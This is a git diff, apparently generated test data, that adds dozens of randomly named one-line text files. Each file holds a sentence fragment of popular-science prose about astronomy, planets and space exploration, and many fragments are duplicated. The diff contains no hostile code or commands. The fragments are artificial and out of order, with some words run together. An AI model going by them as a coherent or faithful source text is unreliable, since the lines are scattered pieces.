+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/fyorthpguxkhawswgdhknae.txt
@@ -0,0 +1 @@
+were microscopic blue-green algae, which covered and filled the oceans. Then some 600
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/gjlurzhycerrzpcbuibapeh.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/gjlurzhycerrzpcbuibapeh.txt
new file mode 100644
index 0000000..6f748b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/gjlurzhycerrzpcbuibapeh.txt
@@ -0,0 +1 @@
+more optimistic estimates, one of them is the site of an advanced civilization. But which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/iklzpellxpcidjldipw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/iklzpellxpcidjldipw.txt
new file mode 100644
index 0000000..2720492
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/iklzpellxpcidjldipw.txt
@@ -0,0 +1 @@
+the Earth, Columbus could never reach Asia. Almost certainly some other European would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/jbskovgukabveddpvpt.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/jbskovgukabveddpvpt.txt
new file mode 100644
index 0000000..4c9000a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/jbskovgukabveddpvpt.txt
@@ -0,0 +1 @@
+hard pressed to find even the cluster in which our Milky Way Galaxy is embedded, much
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/kqkjoqhhb.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/kqkjoqhhb.txt
new file mode 100644
index 0000000..b0b5b62
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/kqkjoqhhb.txt
@@ -0,0 +1 @@
+objective, a sun that may have planets, is Barnard’s Star, about six light-years away. It
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/pbdxdinwpqrqebqiyrrvxzw.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/pbdxdinwpqrqebqiyrrvxzw.txt
new file mode 100644
index 0000000..6ee0862
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/pbdxdinwpqrqebqiyrrvxzw.txt
@@ -0,0 +1 @@
+yet ready for the stars. But perhaps in another century or two, when the solar system is all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ryhgnrpzje.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ryhgnrpzje.txt
new file mode 100644
index 0000000..2832907
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ryhgnrpzje.txt
@@ -0,0 +1 @@
+sky were some great beast inside which we live. Their explanation makes the Milky Way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ulyknwwjbnkq.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ulyknwwjbnkq.txt
new file mode 100644
index 0000000..5643f45
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/ulyknwwjbnkq.txt
@@ -0,0 +1 @@
+light-years away. (Interior to the Orion arm is the Sagittarius arm; beyond the Orion arm is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/yqxxdaagzyvhzwjtndp.txt b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/yqxxdaagzyvhzwjtndp.txt
new file mode 100644
index 0000000..9cc5cfc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/folder_vymxdwzvmo/folder_woxufhzjfj/folder_lrhxyptswv/yqxxdaagzyvhzwjtndp.txt
@@ -0,0 +1 @@
+simultaneously the amount of infrared energy flowing upwards and downwards at each position in the Venus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_cbgoxetivlqgbvr.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_cbgoxetivlqgbvr.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_cbgoxetivlqgbvr.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_fsmgqtvszecebmjnochorsir.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_fsmgqtvszecebmjnochorsir.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_fsmgqtvszecebmjnochorsir.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_hetboxuezhehxnekoqfvub.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_hetboxuezhehxnekoqfvub.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_hetboxuezhehxnekoqfvub.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_iqwcfqmjljcdclh.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_iqwcfqmjljcdclh.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_iqwcfqmjljcdclh.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_jodcaztes.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_jodcaztes.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_jodcaztes.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_lckfybpkclgexecoxguchwkw.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_lckfybpkclgexecoxguchwkw.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_lckfybpkclgexecoxguchwkw.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_nhqnnnpelab.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_nhqnnnpelab.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_nhqnnnpelab.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_nxoeexriw.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_nxoeexriw.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_nxoeexriw.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_psmcdanfnwfkwbjxynbee.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_psmcdanfnwfkwbjxynbee.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_psmcdanfnwfkwbjxynbee.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/file_uqfkcwfuwj.txt b/big_zip/big-zip-files/folder_aziwuihrzs/file_uqfkcwfuwj.txt
new file mode 100644
index 0000000..5813e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/file_uqfkcwfuwj.txt
@@ -0,0 +1 @@
+masters of the deep, the, great whales?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/adklecgfjhkevqstomh.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/adklecgfjhkevqstomh.txt
new file mode 100644
index 0000000..f752051
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/adklecgfjhkevqstomh.txt
@@ -0,0 +1 @@
+arriving at JPL, I thought that Jupiter would never be the same, never again just a point of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/ccjyokdowi.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/ccjyokdowi.txt
new file mode 100644
index 0000000..7ad0764
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/ccjyokdowi.txt
@@ -0,0 +1 @@
+force that pulls an apple down to Earth keeps the Moon in its orbit and accounts for the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/doedzwzuhyksqzpgbfqosgm.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/doedzwzuhyksqzpgbfqosgm.txt
new file mode 100644
index 0000000..619353d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/doedzwzuhyksqzpgbfqosgm.txt
@@ -0,0 +1 @@
+launched by the human species, it will still take tens of thousands of years to go the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_bbxksutnmpspusdafnsoavxq.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_bbxksutnmpspusdafnsoavxq.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_bbxksutnmpspusdafnsoavxq.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_ccwrrhuysavpr.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_ccwrrhuysavpr.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_ccwrrhuysavpr.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_eohhsepziudrllbikaa.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_eohhsepziudrllbikaa.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_eohhsepziudrllbikaa.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_klcvdqhi.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_klcvdqhi.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_klcvdqhi.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oxeamcvsjihugicci.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oxeamcvsjihugicci.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oxeamcvsjihugicci.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oybvbjdi.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oybvbjdi.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_oybvbjdi.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_txivlqhsowakzjsxdxeqzk.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_txivlqhsowakzjsxdxeqzk.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_txivlqhsowakzjsxdxeqzk.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uobpsfzfeswyczxaxuphzrc.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uobpsfzfeswyczxaxuphzrc.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uobpsfzfeswyczxaxuphzrc.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uzvumaclvv.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uzvumaclvv.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_uzvumaclvv.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_wqryvsaurtfnlcrdbpjghush.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_wqryvsaurtfnlcrdbpjghush.txt
new file mode 100644
index 0000000..eaa571c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/file_wqryvsaurtfnlcrdbpjghush.txt
@@ -0,0 +1 @@
+feed arm can broadcast a signal into the dish, which reflects it into space. The Arecibo
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/hkspgudhqcd.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/hkspgudhqcd.txt
new file mode 100644
index 0000000..81604f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/hkspgudhqcd.txt
@@ -0,0 +1 @@
+albedo of the Earth is some 30 to 35 percent. The rest of the sunlight is absorbed by the ground and isresponsible for the average surface temperature.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/lsothlzuurjgbmatcrvwca.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/lsothlzuurjgbmatcrvwca.txt
new file mode 100644
index 0000000..89f953a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/lsothlzuurjgbmatcrvwca.txt
@@ -0,0 +1 @@
+million years from now the radio telescope will have become more obsolete than the stone
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/opborvbrcwzmccprzivwvuv.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/opborvbrcwzmccprzivwvuv.txt
new file mode 100644
index 0000000..e1b2eba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/opborvbrcwzmccprzivwvuv.txt
@@ -0,0 +1 @@
+build on those foundations still. The Library was constructed and supported by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/osdkfilglgziy.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/osdkfilglgziy.txt
new file mode 100644
index 0000000..d881fb3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/osdkfilglgziy.txt
@@ -0,0 +1 @@
+identified from the Earth, 60 million kilometers away. We can divine the composition of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/roqphgbfyanopdsqctoiazl.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/roqphgbfyanopdsqctoiazl.txt
new file mode 100644
index 0000000..09704c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/roqphgbfyanopdsqctoiazl.txt
@@ -0,0 +1 @@
+ten cubic centimeters, a volume the size of a grape. For the ramjet to work, it needs a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/stfzcfijsifkvxxpbrlrwcp.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/stfzcfijsifkvxxpbrlrwcp.txt
new file mode 100644
index 0000000..a064769
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/stfzcfijsifkvxxpbrlrwcp.txt
@@ -0,0 +1 @@
+positive from my own experience that an enormous global interest exists in the exploration
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/svfmldrbtbxnof.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/svfmldrbtbxnof.txt
new file mode 100644
index 0000000..0b5a598
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/svfmldrbtbxnof.txt
@@ -0,0 +1 @@
+Centauri in a little more than four years. If, some decades or centuries hence, anyone out
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/vdzgfijeohcntydsnb.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/vdzgfijeohcntydsnb.txt
new file mode 100644
index 0000000..993e400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/vdzgfijeohcntydsnb.txt
@@ -0,0 +1 @@
+social system, an exponential increase in population will swallow every resource.Conversely, any civilization that engages in serious interstellar exploration and colonization
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/yqjkqqpdcn.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/yqjkqqpdcn.txt
new file mode 100644
index 0000000..92144e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/yqjkqqpdcn.txt
@@ -0,0 +1 @@
+As soon as I was old enough, my parents gave me my first library card. I think the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/zkpaqudc.txt b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/zkpaqudc.txt
new file mode 100644
index 0000000..9eee68a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_aziwuihrzs/folder_noitiuqyjv/zkpaqudc.txt
@@ -0,0 +1 @@
+could fit inside Jupiter. If a comet or an asteroid dropped into the atmosphere of Jupiter, we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_apamybwoqax.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_apamybwoqax.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_apamybwoqax.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_auluplnkf.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_auluplnkf.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_auluplnkf.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_bclmprcwnjvzuvboazt.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_bclmprcwnjvzuvboazt.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_bclmprcwnjvzuvboazt.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_bjiidpkrtxynvzncbpsyu.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_bjiidpkrtxynvzncbpsyu.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_bjiidpkrtxynvzncbpsyu.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_cajucvlpajl.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_cajucvlpajl.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_cajucvlpajl.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_dhvqlsil.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_dhvqlsil.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_dhvqlsil.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_ffmfvzwvbmtj.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_ffmfvzwvbmtj.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_ffmfvzwvbmtj.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_fmznmpfingzns.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_fmznmpfingzns.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_fmznmpfingzns.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_fngmwogswaezexwewssqjpa.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_fngmwogswaezexwewssqjpa.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_fngmwogswaezexwewssqjpa.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_iizmtqviqbeeedrh.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_iizmtqviqbeeedrh.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_iizmtqviqbeeedrh.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_jmizfestrum.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_jmizfestrum.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_jmizfestrum.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_jtwtxnrzecpewknwexj.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_jtwtxnrzecpewknwexj.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_jtwtxnrzecpewknwexj.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_okczmwndlrjyub.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_okczmwndlrjyub.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_okczmwndlrjyub.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_oxopndwkkijlumeg.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_oxopndwkkijlumeg.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_oxopndwkkijlumeg.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_qkkmvfabm.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_qkkmvfabm.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_qkkmvfabm.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_rllrsxrpyqfkxnana.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_rllrsxrpyqfkxnana.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_rllrsxrpyqfkxnana.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_thmnrbwlcexlqznxwahrxxq.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_thmnrbwlcexlqznxwahrxxq.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_thmnrbwlcexlqznxwahrxxq.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_ugrormuysggi.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_ugrormuysggi.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_ugrormuysggi.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_uhplvpkdhtmynz.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_uhplvpkdhtmynz.txt
new file mode 100644
index 0000000..7e43bf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bacjodqcbi/file_uhplvpkdhtmynz.txt
@@ -0,0 +1 @@
+cratering events. Since there may have been more interplanetary debris a few billion years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bacjodqcbi/file_uzzoeogeinnrmnxsw.txt b/big_zip/big-zip-files/folder_bacjodqcbi/file_uzzoeogeinnrmnxsw.txt
new file mode 100644
index 0000000..7e43bf5
